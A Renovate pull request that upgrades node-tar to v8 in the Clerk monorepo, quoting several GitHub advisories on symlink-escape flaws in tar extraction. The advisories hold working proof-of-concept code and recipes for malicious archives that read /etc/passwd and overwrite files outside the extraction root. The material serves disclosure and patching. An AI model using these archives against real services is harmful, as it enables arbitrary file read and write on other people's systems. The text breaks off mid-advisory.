Repository navigation
chore(repo): Update dependency tar@<7.5.21 to v8 [SECURITY] - #11144
renovate[bot] wants to merge 1 commit into
Conversation
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
|
|
Important Review skippedBot user detected. Ask an organization administrator to verify that this bot has an active assigned CodeRabbit review seat. See the seat-assignment guide. After the seat is confirmed, request a review again.
|
@clerk/astro
@clerk/backend
@clerk/chrome-extension
@clerk/clerk-js
@clerk/electron
@clerk/electron-passkeys
@clerk/eslint-plugin
@clerk/expo
@clerk/expo-biometrics
@clerk/expo-google-signin
@clerk/expo-native-components
@clerk/expo-passkeys
@clerk/express
@clerk/fastify
@clerk/hono
@clerk/localizations
@clerk/mosaic
@clerk/nextjs
@clerk/nuxt
@clerk/react
@clerk/react-router
@clerk/shared
@clerk/tanstack-react-start
@clerk/testing
@clerk/ui
@clerk/upgrade
@clerk/vue
commit: |
Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
7.5.21→8.0.2Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
node-tar: Symlink containment bypass via chained symlinks lets tar.x() create links that resolve outside the extraction directory (regression since 7.5.5)
CVE-2026-140250 / GHSA-3wwj-8j6r-q339
More information
Details
Summary
With default options,
tar.x()intar@7.5.22(and every release since 7.5.5) extracts a symbolic link that resolves outside the extraction directory when the link target passes through another symlink from the same archive and then uses..— for examplesub/up -> ..followed byesc -> sub/up/... Both symlink-target checks collapse..lexically before considering symlinks, so the intermediate symlink is never seen, while the kernel resolves it before applying... With enough nesting the extracted link resolves to/.This breaks the README guarantee that "
LinkandSymbolicLinkentries are not allowed to target locations outside of the extraction folder", and gives any application that later reads or writes extracted paths file read/write outside the extraction root (the same impact model as GHSA-9ppj-qmqm-q256). It is a regression of the containment added for GHSA-8qq5-rm4j-mr97 (7.5.3–7.5.4 reject the chain; 7.5.5–7.5.22 accept it), and it also bypasses the[SYMLINK]check added for GHSA-83g3-92jg-28cx. A self-contained PoC, measured version matrix, and a remote-read deployment example are below.Details
Malicious archive
Three entries, no file contents needed:
On disk, the kernel resolves
escassub/up→<cwd>, then..→ parent of<cwd>.Root cause 1 — lexical escape check in
[STRIPABSOLUTEPATH]src/unpack.ts:284-291at v7.5.22 (dist/commonjs/unpack.js:278-281):For
esc,sub/up/..normalizes tosub, so it passes. The comment's assumption ("tar paths, not a filesystem") does not hold once an earlier entry of the same archive has createdsub/upas a real symlink on disk. This relaxation was introduced in 7.5.5 by e9a1ddb ("fix: do not prevent valid linkpaths within archive", PR #450). 7.5.3 and 7.5.4 rejected any..in a linkpath and are not affected.Root cause 2 — the symlink-component check also runs after normalization in
[SYMLINK]src/unpack.ts:640-650(dist/commonjs/unpack.js:551):path.resolvecollapsessub/up/..tosub, so[ENSURE_NO_SYMLINK](src/unpack.ts:679-696) onlylstatssub(a real directory) and never sees the symlinksub/up. This check was added by d18e4e1 ("do not write linkpaths through symlinks"), the fix for GHSA-83g3-92jg-28cx, and the same normalization bypasses it. Separately,[ENSURE_NO_SYMLINK]treats a missing component as safe (if (er) return done()), so even a walk over the raw components would depend on entry order.Reaching any ancestor, up to
/With N nested directories:
rootresolves N levels above<cwd>, which is/once N is at least the depth of<cwd>. The PoC uses N = 12.What node-tar still blocks
Writing a file entry or creating a hardlink through the escaping link from inside the same archive is rejected (
TAR_SYMLINK_ERROR: Cannot extract through symbolic link). The impact appears when the application accesses paths under the extraction directory afterwards — the same model as GHSA-9ppj-qmqm-q256 ("Writing through the extracted symlink overwrites the outside file").Affected versions (measured)
The PoC below was run against each version, installed with
--ignore-scripts:esc -> ../esc -> sub/up/..linkpath contains '..')Relation to published advisories
a/b/escape -> c/up/../..) to route a hardlink. Hardlinks through the chain are now blocked, but the escaping symlink itself is still created, and the[SYMLINK]check added by that fix is bypassed.C:..).Proof of concept
Environment used
tar@7.5.22(npmlateston 2026-10-30; tarball sha256b792c2d1c7fc770910522ca1ffc29eee02ee38de4fa3a01e7832eb705879c6c6, npm shasuma696f998136e71487dc3f869a85bba2c67971ba9)node:22-slim, Linux kernel 6.18tar.x({ file, cwd }), nopreservePaths, nofilter)Files
Save both files below in an empty directory.
repro.cjs— builds the archives with tar's ownHeaderclass. No other dependencies. Everything is written under./work. It prints JSON and exits with code 1 when vulnerable.run.sh— optional isolated run in Docker (install with network, proof without network, as your own uid):Steps
Option A, in Docker:
Option B, without Docker (Linux/macOS). This reads
/etc/passwdthrough the extracted link and writes only under./work:Output with tar@7.5.22
{ "node": "v22.23.4", "tar": "7.5.22", "platform": "linux", "verdict": "VULNERABLE", "results": [ { "case": "0 control: esc -> ../", "warnings": [ "TAR_ENTRY_ERROR: linkpath escapes extraction directory" ], "created": false }, { "case": "1 chain: sub/up -> .., esc -> sub/up/..", "warnings": [], "created": true, "linkpath": "sub/up/..", "realpath": "/poc/work/uploads/job-1", "escapes": true, "read_OUT_esc_config_json": "{\"admin\":false}", "outside_config_after_write": "{\"admin\":true}" }, { "case": "2 chain depth 12: root -> d0/d1/d2/d3/d4/d5/d6/d7/d8/d9/d10/d11/up/../../../../../../../../../../../..", "warnings": [], "created": true, "linkpath": "d0/d1/d2/d3/d4/d5/d6/d7/d8/d9/d10/d11/up/../../../../../../../../../../../..", "realpath": "/", "escapes": true, "read_OUT_root_etc_passwd": "root:x:0:0:root:/root:/bin/bash", "read_sibling_job_secret": "OTHER-JOB-SECRET" } ] }What it shows:
../link is rejected, so containment is working.escresolves to the parent of the extraction dir (.../job-1). Readingout/esc/config.jsonreturns the parent's file, and writing to it changes the file outside the extraction dir./.out/root/etc/passwdand another job's file (uploads/job-0-secret.txt) are readable through it.The outputs were identical across 3 consecutive runs, and the async API (
await tar.x({ file, cwd })) gives the same result.Output with tar@7.5.4 (comparison)
{ "node": "v22.23.4", "tar": "7.5.4", "platform": "linux", "verdict": "NOT VULNERABLE", "results": [ { "case": "0 control: esc -> ../", "warnings": [ "TAR_ENTRY_ERROR: linkpath contains '..'" ], "created": false }, { "case": "1 chain: sub/up -> .., esc -> sub/up/..", "warnings": [ "TAR_ENTRY_ERROR: linkpath contains '..'", "TAR_ENTRY_ERROR: linkpath contains '..'" ], "created": false }, { "case": "2 chain depth 12: root -> d0/d1/d2/d3/d4/d5/d6/d7/d8/d9/d10/d11/up/../../../../../../../../../../../..", "warnings": [ "TAR_ENTRY_ERROR: linkpath contains '..'", "TAR_ENTRY_ERROR: linkpath contains '..'" ], "created": false } ] }Expected (safe) behavior
The chained entries are rejected the same way as the control, with a
TAR_ENTRY_ERRORwarning, or are created so that they resolve insidecwd. The script then prints"verdict": "NOT VULNERABLE"and exits with code 0. It doubles as a regression check for a fix.Note: Node's JS
fs.realpathSyncnormalizes..lexically and reports an in-root path foresc. The PoC therefore usesfs.realpathSync.native, which returns the same result asreadlink -f.Deployment example: unauthenticated remote file read
A common pattern is a service that extracts an uploaded tarball into a per-user directory and serves it with
express.static(defaults). The uploaded archive containsindex.htmlplus the depth-12 chain namedassets. The server listens on 127.0.0.1 only and exits after three requests.serve-demo.cjs:Run:
npm init -y && npm install --ignore-scripts tar@7.5.22 express@5 node serve-demo.cjsOutput (Docker,
--network none, loopback only):{ "tar": "7.5.22", "express": "5.3.0", "requests": [ { "path": "/sites/user-123/index.html", "status": 200, "first_line": "hello" }, { "path": "/sites/user-123/assets/etc/passwd", "status": 200, "first_line": "root:x:0:0:root:/root:/bin/bash" }, { "path": "/sites/user-123/assets/etc/hostname", "status": 200, "first_line": "edab13260d70" } ] }Impact
Vulnerability type: link following and path traversal in archive extraction (CWE-59, CWE-22). With default options,
tar.x()creates a symlink inside the extraction directory that resolves outside it, up to/. This breaks the README's documented guarantee forSymbolicLinkentries.Who is impacted: applications that extract attacker-controlled tarballs with
tar7.5.5–7.5.22 using default options and then access paths under the extraction directory. Examples: serving extracted files (as in theexpress.staticexample), reading or post-processing them, writing results or configuration into the extracted tree, or copying files out while following links. The README promises that link targets stay inside the extraction folder, so applications reasonably rely on that instead of adding their own link filter.What an attacker gains: read and write access to files outside the extraction root, with the privileges of the extracting process. This can include other users' uploads in a shared parent directory, application configuration, keys readable by the service account, and any writable file. Demonstrated above:
/etc/passwdand another job's fileexpress.staticNot required:
preservePaths, special filesystems, race conditions, or Windows.Remediation idea (untested proposal): accept a
SymbolicLinklinkpath only when every..segment comes before any other segment, i.e. only leading../segments, bounded by the entry's depth.sub/up/..is then rejected, while../sibling/file(the case PR #450 wanted to allow) stays valid...through another link, so chains cannot leavecwd. The rule does not depend on entry order.repro.cjsabove can serve as the regression test: it must printNOT VULNERABLE.Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
node-tar: Symlink target escapes the extraction directory through an in-archive symlink chain
CVE-2026-140249 / GHSA-4pf9-5fpx-xmr6
More information
Details
Summary
Summary
With default options, tar.x() in tar 7.5.5 through 7.5.23 (the latest release) creates a symbolic link that points outside the extraction directory, and raises no warning. The archive needs only a directory and two symlinks. This breaks the README's listed protection that "Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder."
This is not the TOCTOU case (no one but tar touches the extraction folder) and not an old version: it reproduces on 7.5.23 and on main (eb92e17), with default options.
Details
x/ Directory
x/y -> .. (resolves to cwd: allowed)
l -> x/y/../secret.txt (checked as cwd/x/secret.txt; really cwd/../secret.txt)
Repeating the x/y/ step reaches any absolute path: x/y/ × 8 followed by ../ × 16 and etc/hostname fits in the 100-byte ustar linkpath field and points at /etc/hostname. Entry order does not matter; the link can come before or after x/y.
This is the same chain as the proof of concept in GHSA-83g3-92jg-28cx (CVE-2026-26960). That fix blocked the hardlink created through the chain; the symlink itself is still created. 7.5.3 and 7.5.4 reject it (they refused any .. in a linkpath); the regression came with the relaxation in #450 ("Allow unpacking symlinks that don't escape cwd") in 7.5.5. Versions ≤ 7.5.2 also create the link but are already covered by GHSA-8qq5-rm4j-mr97.
Suggested fix
Create the symlink with the same normalized target that [STRIPABSOLUTEPATH] validated, instead of the raw linkpath. Patch against main (eb92e17):
--- a/src/unpack.ts
+++ b/src/unpack.ts
@@ -651,7 +651,23 @@ export class Unpack extends Parser {
entry,
this.cwd,
parts,
It was created as x/secret.txt and stays inside cwd. There is also a regression test, test/symlink-chain-escape.ts, covering both entry orders with async and sync extraction: it fails on main and passes with the patch. The full suite passes with the patch (tap: 21,254 of 21,254). An adjusted approach for example, could be resolving each linkpath component against the extraction tree instead of normalizing lexically, preserving link targets byte-for-byte but at more cost.
Proof of concept
Save as poc.cjs next to a node_modules/tar install and run node poc.cjs ./node_modules/tar ./work. It builds the archive with tar's own Header, extracts it with default options (async and sync), and then does what an application normally does next: writes to a file by its name in the archive.
const fs = require('fs')
const path = require('path')
const tar = require(path.resolve(process.argv[2]))
const work = path.resolve(process.argv[3])
fs.rmSync(work, { recursive: true, force: true })
const cwd = path.join(work, 'extract')
fs.mkdirSync(cwd, { recursive: true })
const secret = path.join(work, 'secret.txt') // outside the extraction dir
fs.writeFileSync(secret, 'ORIGINAL\n')
const entries = [
{ path: 'x/', type: 'Directory' },
{ path: 'x/y', type: 'SymbolicLink', linkpath: '..' },
{ path: 'l', type: 'SymbolicLink', linkpath: 'x/y/../secret.txt' },
{ path: 'deep', type: 'SymbolicLink',
linkpath: 'x/y/'.repeat(8) + '../'.repeat(16) + 'etc/hostname' },
]
const blocks = []
for (const e of entries) {
const b = Buffer.alloc(512)
new tar.Header({ ...e, mode: 0o755, size: 0, mtime: new Date(0) }).encode(b, 0)
blocks.push(b)
}
blocks.push(Buffer.alloc(1024))
const tarFile = path.join(work, 'poc.tar')
fs.writeFileSync(tarFile, Buffer.concat(blocks))
const run = async (sync) => {
fs.rmSync(cwd, { recursive: true, force: true }); fs.mkdirSync(cwd)
fs.writeFileSync(secret, 'ORIGINAL\n')
const warns = []
const opts = { cwd, file: tarFile, onwarn: (c, m) => warns.push(c + ' ' + m) }
if (sync) tar.x({ ...opts, sync: true }); else await tar.x(opts)
console.log(
--- tar.x({cwd, file${sync ? ', sync:true' : ''}}))console.log('warnings:', warns.length ? warns : 'none')
console.log('readlink l ->', fs.readlinkSync(path.join(cwd, 'l')))
console.log('realpath l ->', fs.realpathSync.native(path.join(cwd, 'l')))
console.log('realpath deep ->', fs.realpathSync.native(path.join(cwd, 'deep')))
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
console.log('secret.txt now ->', JSON.stringify(fs.readFileSync(secret, 'utf8')))
}
run(false).then(() => run(true))
Output on tar 7.5.23, Node 22.23.4, Linux:
--- tar.x({cwd, file})
warnings: none
readlink l -> x/y/../secret.txt
realpath l -> /secret.txt
realpath deep -> /etc/hostname
secret.txt now -> "PWNED\n"
--- tar.x({cwd, file, sync:true})
warnings: none
readlink l -> x/y/../secret.txt
realpath l -> /secret.txt
realpath deep -> /etc/hostname
secret.txt now -> "PWNED\n"
Same result on 7.5.5, 7.5.11 and on main (eb92e17), and with open PR #470 applied. 7.5.4 rejects all three links (TAR_ENTRY_ERROR linkpath contains '..').
Impact
An attacker who supplies a tarball can make tar.x() with default options leave symlinks inside the extraction directory that point to any path on the system. tar itself does not write through them, but any later read or write of the extracted files by the application follows them: the PoC overwrites a file outside the extraction directory and resolves a link to /etc/hostname. This gives arbitrary file read and write as the extracting user, the same impact as GHSA-83g3-92jg-28cx and GHSA-9ppj-qmqm-q256.
Applications that follow the README's advice to filter out link entries for untrusted input are not affected; npm itself filters links from package artifacts.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
node-tar: Symlink linkpath escape check is lexical: '..' after an in-archive symlink creates symlinks outside the extraction directory
CVE-2026-140247 / GHSA-gvrf-jx37-rjv5
More information
Details
Summary
With default options,
tar.x()/Unpack/UnpackSynccan be made to createSymbolicLinkentries whose targets resolve outside the extraction directory, although the README states that "LinkandSymbolicLinkentries are not allowed to target locations outside of the extraction folder". The trick is a..segment that follows a symlink created earlier by the same archive:or, to go further up (one level per in-archive directory):
None of these entries produces a warning, while the direct form (
esc -> ../outside.txt) is still rejected. The step-2 symlink of the GHSA-83g3-92jg-28cx chain (a/b/c/up -> ../..,a/b/escape -> c/up/../..) also still points outside the extraction root on 7.5.23; that fix blocked only the step-3 hardlink.Affected versions
Tested on tar@7.5.23 (latest; main HEAD eb92e17) with Node 18 on Linux, both async and sync extraction, default options. Versions containing the linkpath sanitization added for GHSA-8qq5 / GHSA-83g3 / GHSA-9ppj appear affected.
Details
src/unpack.ts[STRIPABSOLUTEPATH](~L283-301) accepts a symlink linkpath containing..whenpath.posix.normalize(join(dirname(entry.path), linkpath))does not start with../. This is purely lexical:l1/../outside.txtnormalizes tooutside.txt.[SYMLINK](~L640-660, same logic inUnpackSync~L1099-1119) builds the components passed to[ENSURE_NO_SYMLINK]frompath.relative(cwd, path.resolve(dirname(abs), linkpath)).path.resolvecollapsesl1/..before anylstat, so the existing symlink componentl1is never inspected.l1/..as<target of l1>/..; withl1 -> .that is the parent of the extraction directory.Because
l1is never inspected and symlink targets resolve lazily, entry ordering and parallel async extraction do not matter.Steps to reproduce
Header):Observed on 7.5.23 (repeated runs, async and sync):
control.taris rejected with "linkpath escapes extraction directory" andoutside.txtstaysORIGINAL.evil.taryieldswarnings=[],realpath(esc)=root/outside.txt,realpath(escdir)=root;outside.txtis overwritten and the outside secret is read. The deeper variant above overwrote a file three directories abovecwd.Impact
An attacker-supplied tarball extracted with default options can plant symlinks inside the extraction directory that point to arbitrary files or directories outside it (any depth above the extraction root, controlled by the number of in-archive directories). Any subsequent read or write of the extracted tree by the application — serving files, reading a manifest, writing build output into an extracted folder — then reaches outside the root with the privileges of the extracting user. This is the same impact as GHSA-9ppj-qmqm-q256 and GHSA-8qq5-rm4j-mr97 ("symlink poisoning"), through a different bypass.
Suggested CVSS 3.1:
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N(7.1), mirroring GHSA-83g3-92jg-28cx.Suggested fix
For
SymbolicLinkentries, do not normalize the linkpath lexically before the check. Walk the raw linkpath components starting fromdirname(entry.absolute),lstateach existing component before applying the next.., and reject the entry if an existing component is a symlink (the rule[ENSURE_NO_SYMLINK]already applies to hardlinks). A simpler alternative is to reject any..segment that follows a component which currently exists as a symlink.This issue was found with automated analysis (variant analysis) and manually verified.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
node-tar: SymbolicLink extraction escapes the extraction directory on non-Windows hosts via a backslash separator differential
CVE-2026-140246 / GHSA-hqgx-p3r3-2cfg
More information
Details
Summary
On a non-Windows host, extracting a crafted tar with default options makes node-tar (<= 7.5.22, current latest) create a SymbolicLink whose target resolves OUTSIDE the extraction directory, breaking the documented guarantee that "Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder". This allows arbitrary file read / extraction-containment escape (CWE-22 / CWE-59).
Confirmed end-to-end on tar@7.5.22 with default tar.x() (async and sync), including reading /etc/passwd. It is distinct from, and survives, the drive-relative fixes (GHSA-9ppj-qmqm-q256 / CVE-2026-31802, GHSA-qffp-2rhf-9h96).
Details
Root cause is a separator-handling difference between the containment CHECK and the symlink CREATE.
In Unpack[STRIPABSOLUTEPATH] (src/unpack.ts), the symlink linkpath is split for the ".." containment check AFTER stripped.replaceAll(/\/g, '/') — i.e. "" is treated as a path separator when counting segments.
But on non-Windows, normalizeWindowsPath (src/normalize-windows-path.ts) is the identity function, and the symlink is created with the RAW linkpath: SYMLINK -> LINK calls fs.symlink(entry.linkpath, entry.absolute) (src/unpack.ts, ~lines 640-660 and 866-881), where "" is an ordinary filename character.
So a segment like "A\B" counts as TWO segments to the check but ONE to the kernel. Backslash padding inflates the check's segment count, so a ".." run that the check believes stays inside cwd actually escapes it at creation/resolution time.
Walkthrough for entry.linkpath = "A\B/../../x":
The escape depth equals the number of backslashes in the padding segment (overshooting saturates at "/"), so any path on the same filesystem is reachable regardless of cwd depth.
Why the other guards do not catch it: ENSURE_NO_SYMLINK (src/unpack.ts, ~lines 679-698) only rejects EXISTING symlinks found in the target path, not cwd-escape; and CHECKPATH's defense-in-depth validates entry.path (the entry's own path), not the linkpath.
Scope note (per README "Security Information"): this breaks the stated protection "Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder", so it is reportable under "not properly enforcing the intended security protections". It is NOT the out-of-scope case in warning #1 (extracting into an attacker-controlled folder / TOCTOU symlink-swap): this is deterministic, driven solely by the archive's own contents, into a normal folder, with no race and no second actor. It is the same class as the accepted/fixed GHSA-9ppj-qmqm-q256, via a different mechanism (backslash separator differential vs. drive-relative prefix).
Suggested fix: make the containment check use the same separator semantics as creation — when platform !== 'win32', do NOT treat "" as a separator (skip the replaceAll(/\/g,'/')) so segment counting matches the kernel. Better still, decide containment from the single resolved absolute target that creation actually uses — require path.resolve(path.dirname(entry.absolute), entry.linkpath) to be within cwd — instead of a separate path.posix lexical model that can diverge from it.
Proof of concept
Non-Windows host (Linux/macOS), default options. Benign: reads a marker file placed in the PARENT of the extraction dir.
Steps:
npm i tar@7.5.22 tar-stream
node poc.js
poc.js:
Expected output: cwd/escape resolves to /SENTINEL.txt (the PARENT of the extraction directory) and reads "OUT-OF-TREE".
To show arbitrary read of a real file: use a padding segment of ~50 backslashes plus the matching number of ".." and then "/etc/passwd" as the linkname (and a directory entry named the same padding segment). The resulting symlink resolves to /etc/passwd (verified: first line "root:x:0:0:root:/root:/bin/bash").
Impact
Arbitrary file read / extraction-containment escape (CWE-22 / CWE-59). A malicious tarball (for example an npm package, or any user-uploaded or third-party archive) extracted with default options plants a symlink that resolves to an arbitrary host path on the same filesystem. Any consumer that then reads, copies, or serves files from the "contained" extraction directory is induced to read arbitrary host files. node-tar is a dependency of npm itself and of a large fraction of the ecosystem, so the exposure is broad.
Arbitrary WRITE is NOT achieved: mkdir rejects symlinked parent components (SymlinkError, src/mkdir.ts), a file written at the symlink's own path unlinks the symlink first, and hardlink entries reject any "..". So node-tar does not itself write outside the extraction target; the impact is the escaping symlink / arbitrary read.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
node-tar: Symlink linkpath containment bypass via entry paths ending in '/.'
CVE-2026-140245 / GHSA-jmj2-9c5q-vw73
More information
Details
Summary
A relative symlink linkpath is validated against path.posix.dirname(entry.path) but created at path.resolve(cwd, entry.path). An entry named 'x/.' shifts the check's base one level shallower, so one '..' is absorbed by the check and the link still escapes the extraction directory, with default options and no warning. Regression in 7.5.5-7.5.22 (introduced by the #450 fix).
Details
Mechanism
[STRIPABSOLUTEPATH]resolves a relativelinkpathagainstpath.posix.dirname(entry.path)(src/unpack.ts:286), but the link is created atpath.resolve(cwd, entry.path)(src/unpack.ts:359).For an entry name ending in
/.,dirnamereturns a base one level shallower than the directory the link is actually created in. The check therefore normalisesx/../outside/secret.txttooutside/secret.txt, which passesstartsWith('../')at:291, while the kernel resolves the link fromcwdand lands outside the destination.Affected
>= 7.5.5, <= 7.5.22. The regression was introduced bye9a1ddb(the #450 relative-linkpath fix).7.5.4rejects the entry withlinkpath contains '..'.Fix
Using the same base the filesystem will use makes the check and the write agree. Verified against a 1,464-pair property corpus: 300 buggy pairs rejected, 0 legitimate pairs rejected, 0 new accepts; 677 existing tests pass.
Notes
Distinct from GHSA-9ppj-qmqm-q256: that finding is a malicious linkpath string (
C:..); here the linkpath is ordinary and the defect is the entry-path base computation. #450 introduced this code, so it is the regression rather than a duplicate.Proof of concept
Reproduced against the npm-published
tar@7.5.22(not only a source checkout), with one archive entry and default options:The
x/.entry is created with the escaped target, with default options, and emits no warning. It also works withstrip: 1, PAXpathand GNUL.PoC and controls:
poc-linkpath-pad.mjsplus a version-regression script (7.5.2 vs 7.5.22).Impact
A crafted archive can create a symlink pointing outside the extraction directory using default options and without any warning.
node-tar's own subsequent entries cannot follow the link —mkdirrefuses symlink parents and file writes useO_NOFOLLOW— so the outside write is consumer-mediated: a caller that later writes through the extracted path writes outside the destination. This is the same impact model as the accepted GHSA-9ppj-qmqm-q256 / CVE-2026-31802, and it is not claimed to be an in-library write or npm RCE.Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
node-tar: Symlink containment bypass via nested symlink + '..' (lexical linkpath check)
CVE-2026-140244 / GHSA-mhqm-9wj8-w7r4
More information
Details
Summary
node-tar checks that a symlink's target stays inside
cwd, but the check is lexical. It runspath.resolve(dirname, linkpath), which collapses..without following symlinks. Entry 1s1 -> .is a